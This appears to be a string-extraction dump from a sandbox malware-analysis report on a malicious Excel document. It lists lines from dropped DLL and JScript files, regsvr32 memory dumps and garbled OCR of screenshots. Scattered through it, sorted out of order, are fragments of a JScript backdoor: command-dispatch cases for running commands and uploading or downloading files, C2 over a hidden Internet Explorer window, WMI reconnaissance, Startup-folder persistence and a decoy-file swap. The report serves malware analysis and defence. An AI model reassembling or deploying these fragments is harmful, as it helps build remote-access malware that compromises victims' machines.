Ansi based on Dropped File (~HFYJEZHM.dll.305389)
%s\%s.tmp
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
',:__::',:_::',:_
Ansi based on Image Processing (screen_4.png)
+ '\ndownSize=' + fileSize + '\nDownReq Recved!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
+ '\nupOnce=' + this.upOnce + '\nupCount=' +this.upCount + '\nUpReq Recved!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
++this.downIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
++this.upIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
+o'oo
Ansi based on Image Processing (screen_2.png)
,...,
Ansi based on Image Processing (screen_4.png)
,o_,o
Ansi based on Image Processing (screen_4.png)
-_''L'_tChin
Ansi based on Image Processing (screen_1.png)
-_'_L,__chan
Ansi based on Image Processing (screen_4.png)
-_-_-_--_-ll__-__-_l_
Ansi based on Image Processing (screen_4.png)
.?AUIActiveScriptSite@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIActiveScriptSiteWindow@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIDispatch@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideClassInfo2@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideClassInfo@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideMultipleClassInfo@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIUnknown@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIWScript@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVMyActiveScriptSite@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVtype_info@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVWScript@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
._-._._.
Ansi based on Image Processing (screen_1.png)
._...__.0.t..
Ansi based on Image Processing (screen_2.png)
._...__._.t..
Ansi based on Image Processing (screen_4.png)
.___.
Ansi based on Image Processing (screen_1.png)
.text
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
/************* Basic *************/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/******************** Func ********************/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/*NOSleep*/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/n must be used with the /i switch
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
0638C49DBB8B4CD1B191052E8F325736
Unicode based on Runtime Data (EXCEL.EXE )
0_____
Ansi based on Image Processing (screen_1.png)
0______
Ansi based on Image Processing (screen_3.png)
0_______
Ansi based on Image Processing (screen_4.png)
0x%08lx
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
101H1
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
4A342
Unicode based on Runtime Data (EXCEL.EXE )
6.1.7600.16385
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
600.16385 (win7_rtm.090713-1255)
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
7,7<7@7
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
=$=(=
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
??1type_info@@UAE@XZ
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
??2@YAPAXI@Z
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
??3@YAXPAX@Z
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
??_?_______________r__
Ansi based on Image Processing (screen_0.png)
?terminate@@YAXXZ
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
@.data
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
@.reloc
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
[xls]9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.LNK=0
Ansi based on Runtime Data (EXCEL.EXE )
\regsvr32.exe
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_,____
Ansi based on Image Processing (screen_4.png)
_.Ut__i'hlin
Ansi based on Image Processing (screen_1.png)
_.utvv_'hlan
Ansi based on Image Processing (screen_4.png)
_::_::_'l
Ansi based on Image Processing (screen_1.png)
__'Laan'_rnlav'_ra9an
Ansi based on Image Processing (screen_4.png)
___.__Taba__a1___n_a1ia_an
Ansi based on Image Processing (screen_2.png)
___.__Taba__a1__rn_a1iaran
Ansi based on Image Processing (screen_4.png)
___.ltTabillit'_rnlatiirin
Ansi based on Image Processing (screen_1.png)
_____
Ansi based on Image Processing (screen_4.png)
______
Ansi based on Image Processing (screen_2.png)
______._._
Ansi based on Image Processing (screen_4.png)
______.__
Ansi based on Image Processing (screen_2.png)
_______,____
Ansi based on Image Processing (screen_1.png)
___________
Ansi based on Image Processing (screen_1.png)
_____cu__?___
Ansi based on Image Processing (screen_0.png)
_____g__
Ansi based on Image Processing (screen_5.png)
__argc
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__dllonexit
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
__p__commode
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__p__fmode
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__set_app_type
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__setusermatherr
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__wargv
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__wgetmainargs
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_adjust_fdiv
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
_amsg_exit
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_cexit
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_controlfp
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_except_handler4_common
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_exit
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_F'_rnlat
Ansi based on Image Processing (screen_4.png)
_initterm
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_keyStr : "01234abcdefghijklmnopqrstuvwxyz56789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/" + "=",
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_o'oo
Ansi based on Image Processing (screen_4.png)
_onexit
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
_pTree:function(pid, level){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_stricmp
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
_utf8_decode : function (utftext) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_utf8_encode : function (string) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_wcmdln
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_wcsicmp
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
_wsplitpath_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_XcptFilter
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
`.rdata
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
acc = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
accessToWrite = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
AdjustTokenPrivileges
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
ado.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Open();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Position = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.SaveToFile(path, adSaveCreateOverwrite);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Type = adTypeBinary;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Write(bin);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
adoCon : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
adoRec : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ADVAPI32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
AgentAnim
Ansi based on Runtime Data (EXCEL.EXE )
allStartupDir : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Ancicht
Ansi based on Image Processing (screen_4.png)
andle
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
AppData + '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'];
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
argArr = data.split(this.splitChar);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Au_richtung
Ansi based on Image Processing (screen_4.png)
Aucrichtung
Ansi based on Image Processing (screen_2.png)
AutoDetect
Unicode based on Runtime Data (EXCEL.EXE )
AutoRegister
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
bander = banderList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
banderList = ['Name','ProcessId','SessionId','commandline'];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Base64_MockDll32 : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Base64_MockDll64 : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
base64ToFile:function(path, bin){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bDebug : false,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bDeleteSelf : false,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bFirstTry : true,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bForeverTry : true,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Bgarbg_gn
Ansi based on Image Processing (screen_4.png)
bin = node.nodeTypedValue;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Biri_
Ansi based on Image Processing (screen_4.png)
bMutex : false,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c = utftext.charCodeAt(i);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c2 = utftext.charCodeAt(i+1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c3 = base64DecodeChars[c3]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c3 = str.charCodeAt(i++) & 0xff;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c3 = utftext.charCodeAt(i+2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c4 = base64DecodeChars[c4]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c4 = str.charCodeAt(i++) & 0xff;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
%WINDIR%\system32\apphelp.dll
Unicode based on Runtime Data (EXCEL.EXE )
case this.caseCode:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseDownFile:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseExecCmd:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseUpFile:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseCode : 'ccc',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseDownFile : 'ddd',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseDownFileData : 'ddt',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseExecCmd : 'xxx',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseHandler:function(recvData){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseReauth : 'reauth',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseStr = tmp.substring(0, 3).toLowerCase();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseUpFile : 'uuu',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
CharNextW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
chr1 = (enc1 << 2) | (enc2 >> 4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr1 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr2 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr3 = ((enc3 & 3) << 6) | enc4;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr3 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
CloseHandle
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
cls();
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
clsCode='oFS.DeleteFile(\'C:\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\');oFS.MoveFile(\'C:\\\\Users\\\\PSPUBWS\\\\AppData\\\\Local\\\\Temp\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\',\'C:\\\\\'); oApp.ShellExecute(\'C:\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\', \'\', \'\', \'open\', 3);';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
CLSIDFromProgID
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CoCreateInstance
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
codeRegex : /hd=87ds(.*?)=ddfhk/,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
codeRes = this.codeRegex.exec(workIE.Document.documentElement.outerHTML);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
CoInitialize
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
COMCTL32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
CommandLineToArgvW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
comment = info[0]+' '+info[2];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
CompanyName
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
continue;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Converted
Unicode based on Runtime Data (EXCEL.EXE )
Corporation
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
Corporation. All rights reserved.
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
CoUninitialize
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
count = Math.floor(fileSize/this.downOnce) + (fileSize%this.downOnce==0 ? 0 : 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
CreateEnvironmentBlock
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CreateFileW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
createIE:function(url){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
CreateProcessAsUserW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CreateProcessW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
data = tmp.substring(3);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Datin
Ansi based on Image Processing (screen_4.png)
decode : function (input) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
DecodePointer
Ansi based on Runtime Data (EXCEL.EXE )
default:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
delete ado;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
delete node;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
delete xml;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
DestroyEnvironmentBlock
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
df = this.oFS.OpenTextFile(dfPath, ForReading);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
df.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
dfPath = this.tmpDir + '\\' + f.Name + '~' + this.downIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
DiagnosticsIdentifier2
Unicode based on Runtime Data (EXCEL.EXE )
DiagnosticsIdentifier:(SZ) 6bb5dc16-23a7-4e31-8904-aa3fab5a6b6e084a241f-7eee-4370-b24b-f5797d79df67
Ansi based on Dropped File (303286.od.303286)
dirs : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
DllInstall
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllRegisterServer
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllRegisterServerEx
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllRegisterServerExW
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllUnregisterServer
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
down.innerText = this.encode(this.caseDownFileData + downData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downBtn.click();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downCount : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downData = df.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downEnd : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downFile : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downIndex : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downInterval : 5,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downOk : true,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downOnce : 1024 * 200,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downSize : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downStart : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
drive:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
dstUrl : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
dwMillisecondsWW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
e = new Enumerator(this.oCimv2.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery("Select * from Win32_Processor"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery('Select * From Win32_Session'));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery(queryStr));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e.item().Terminate();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Einf_9in
Ansi based on Image Processing (screen_4.png)
Einf_gin
Ansi based on Image Processing (screen_1.png)
EintU9an
Ansi based on Image Processing (screen_4.png)
Eintuin
Ansi based on Image Processing (screen_1.png)
ele = banderList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ele = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ele = proc.Properties_.item(banderList[j]) + ' ';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
en-US
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
enc1 = chr1 >> 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc1 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc2 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc3 = enc4 = 64;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc3 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc4 = 64;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc4 = chr3 & 63;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc4 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
encode : function (input) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
errLog:function(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
errLogFilePath : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
errObjToStr:function(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
EXCELFiles
Unicode based on Runtime Data (EXCEL.EXE )
EXCELFilesIntl_1031
Unicode based on Runtime Data (EXCEL.EXE )
ExcelName
Unicode based on Runtime Data (EXCEL.EXE )
Excessive # of DLL's on cmdline
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
exec:function(cmdline, timeout){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
execWithCScript:function(cmd, sec){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ExitProcess
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
f = fso.OpenTextFile(this.errLogFilePath, 8, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.GetFile(path);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.GetFile(this.downFile);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.OpenTextFile(outFilePath, 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.OpenTextFile(scriptFilePath, 2, 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("F=(new ActiveXObject('Scripting.FileSystemObject')).OpenTextFile(unescape('"+escape(outFilePath)+"'),2,1);");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("O=W.Exec(unescape('"+escape(cmd)+"'));F.Write(O.StdOut.ReadAll()+O.StdErr.ReadAll());F.Close();");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("W=new ActiveXObject('WScript.Shell');");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.WriteLine(this.now()+':'+text);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
F0rmah0r_agin
Ansi based on Image Processing (screen_2.png)
F0rmah0rlagin
Ansi based on Image Processing (screen_4.png)
F0rmiln
Ansi based on Image Processing (screen_4.png)
filePath = data;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
fileSize = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Filtirn
Ansi based on Image Processing (screen_1.png)
fire:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
FixedConverted
Unicode based on Runtime Data (EXCEL.EXE )
FontInfoCache
Unicode based on Runtime Data (EXCEL.EXE )
for (i = 0; i < stDirs.length; i++)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
for (i=0; i<sec*10; i++){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for (var n = 0; n < string.length; n++) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(;;){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(e.moveFirst(); !e.atEnd(); e.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(e.moveFirst();!e.atEnd();e.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i = 0; i < 3; i++)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
for(i = 0; i < oDrives.length; i += 2) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i = 0; i < oPrinters.length; i += 2) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i in banderList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i in procList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0; i<len; i++){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<3;++i){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<arr.length;++i){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<level;++i){res += '\t'}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(j in banderList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(j in procList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(pe.moveFirst(); !pe.atEnd(); pe.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in lines){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in obj){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in this.jmpUrlList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ForAppending = 8;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
FormatMessageW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
ForReading = 1;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ForWriting = 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
FreeLibrary
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
freshIE:function(ie){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
FriendlyName
Unicode based on Runtime Data (EXCEL.EXE )
fso = new ActiveXObject('Scripting.FileSystemObject');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
function base64decode(str)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
function cls()
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
galCopyright
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
getAllUserSid:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
GetCommandLineW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
getConfig:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
GetCurrentProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetCurrentProcessId
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetCurrentThreadId
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetExitCodeProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetFileAttributesW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetFileSize
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetLastError
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetLastInputInfo
Ansi based on Runtime Data (EXCEL.EXE )
GetModuleFileNameW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetModuleHandleA
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetModuleHandleW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetNativeSystemInfo
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
getOSBit:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
GetProcAddress
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetStartupInfoW
